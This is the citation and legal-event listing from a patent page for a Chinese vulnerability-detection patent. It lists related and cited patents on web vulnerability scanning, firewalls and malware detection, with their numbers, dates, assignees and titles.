KR20090019573A (ko) * | 2007-08-21 | 2009-02-25 | 한국전자통신연구원 | 웹서버 취약점 점검 장치 및 방법 |
JP6106340B2 (ja) * | 2014-06-06 | 2017-03-29 | 日本電信電話株式会社 | ログ分析装置、攻撃検知装置、攻撃検知方法およびプログラム |
CN104378389B (zh) * | 2014-12-12 | 2016-09-28 | 北京奇虎科技有限公司 | 网站安全检测方法与装置 |
US9705909B2 (en) * | 2015-07-29 | 2017-07-11 | Verizon Digital Media Services Inc. | Automatic detection and mitigation of security weaknesses with a self-configuring firewall |
US11736507B2 (en) * | 2019-12-13 | 2023-08-22 | Disney Enterprises, Inc. | Techniques for analyzing network vulnerabilities |
US11991149B2 (en) * | 2019-12-19 | 2024-05-21 | Radware, Ltd. | System and method for analytics based WAF service configuration |
-
2022
- 2022-06-17 CN CN202210683244.9A patent/CN114785621B/zh active Active
Patent Citations (10)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
US8601586B1 (en) * | 2008-03-24 | 2013-12-03 | Google Inc. | Method and system for detecting web application vulnerabilities |
CN108632219A (zh) * | 2017-03-21 | 2018-10-09 | 腾讯科技(深圳)有限公司 | 一种网站漏洞检测方法、检测服务器及系统 |
CN110401634A (zh) * | 2019-06-24 | 2019-11-01 | 北京墨云科技有限公司 | 一种Web应用漏洞检测规则引擎实现方法及终端 |
CN110768951A (zh) * | 2019-08-14 | 2020-02-07 | 奇安信科技集团股份有限公司 | 验证系统漏洞的方法及装置、存储介质、电子装置 |
CN110768950A (zh) * | 2019-08-14 | 2020-02-07 | 奇安信科技集团股份有限公司 | 渗透指令的发送方法及装置、存储介质、电子装置 |
CN110881043A (zh) * | 2019-11-29 | 2020-03-13 | 杭州迪普科技股份有限公司 | 一种web服务器漏洞的检测方法及装置 |
CN111182060A (zh) * | 2019-12-30 | 2020-05-19 | 北京健康之家科技有限公司 | 报文的检测方法及装置 |
CN113486335A (zh) * | 2021-05-27 | 2021-10-08 | 贵州电网有限责任公司 | 一种基于rasp零规则的jni恶意攻击检测方法及装置 |
CN114143047A (zh) * | 2021-11-17 | 2022-03-04 | 湖北天融信网络安全技术有限公司 | 漏洞检测方法、装置、终端设备、Web服务器及存储介质 |
CN114301673A (zh) * | 2021-12-28 | 2022-04-08 | 上海识装信息科技有限公司 | 一种漏洞检测方法、装置、电子设备及存储介质 |
Non-Patent Citations (2)
Title |
---|
Web应用防火墙在高校信息安全中的应用;王乐等;《长春师范大学学报》;20200420(第04期);全文 * |
基于特征匹配的Web应用防火墙的研究与设计;辛晓杰等;《信息网络安全》;20151110(第11期);全文 * |
Also Published As
Publication number | Publication date |
---|---|
CN114785621A (zh) | 2022-07-22 |
Similar Documents
Publication | Publication Date | Title |
---|---|---|
US10666686B1 (en) | Virtualized exploit detection system | |
US11381578B1 (en) | Network-based binary file extraction and analysis for malware detection | |
US10225280B2 (en) | System and method for verifying and detecting malware | |
US9264441B2 (en) | System and method for securing a network from zero-day vulnerability exploits | |
US9910981B2 (en) | Malicious code infection cause-and-effect analysis | |
US10192052B1 (en) | System, apparatus and method for classifying a file as malicious using static scanning | |
US7845007B1 (en) | Method and system for intrusion detection in a computer network | |
JP6104149B2 (ja) | ログ分析装置及びログ分析方法及びログ分析プログラム | |
US10216931B2 (en) | Detecting an attempt to exploit a memory allocation vulnerability | |
CN109145592B (zh) | 检测异常事件的系统和方法 | |
CN113228585A (zh) | 具有基于反馈回路的增强流量分析的网络安全系统 | |
CN110119619B (zh) | 创建防病毒记录的系统和方法 | |
CN110362994B (zh) | 恶意文件的检测方法、设备和系统 | |
US20040030931A1 (en) | System and method for providing enhanced network security | |
US11909761B2 (en) | Mitigating malware impact by utilizing sandbox insights | |
US10091225B2 (en) | Network monitoring method and network monitoring device | |
US20080115215A1 (en) | Methods, systems, and computer program products for automatically identifying and validating the source of a malware infection of a computer system | |
US20230247043A1 (en) | Techniques for detecting cybersecurity vulnerabilities in a cloud based computing environment based on forensic analysis of cloud logs | |
CN114785621B (zh) | 漏洞检测方法、装置、电子设备及计算机可读存储介质 | |
US20220086173A1 (en) | Improving incident classification and enrichment by leveraging context from multiple security agents | |
US10757118B2 (en) | Method of aiding the detection of infection of a terminal by malware | |
US11063975B2 (en) | Malicious content detection with retrospective reporting | |
TWI640891B (zh) | 偵測惡意程式的方法和裝置 | |
CN114006772B (zh) | 一种反制黑客攻击的方法、装置、电子设备及存储介质 | |
CN114866361A (zh) | 一种检测网络攻击的方法、装置、电子设备及介质 |
Legal Events
Date | Code | Title | Description |
---|---|---|---|
PB01 | Publication | ||
PB01 | Publication | ||
SE01 | Entry into force of request for substantive examination | ||
SE01 | Entry into force of request for substantive examination | ||
GR01 | Patent grant | ||
GR01 | Patent grant |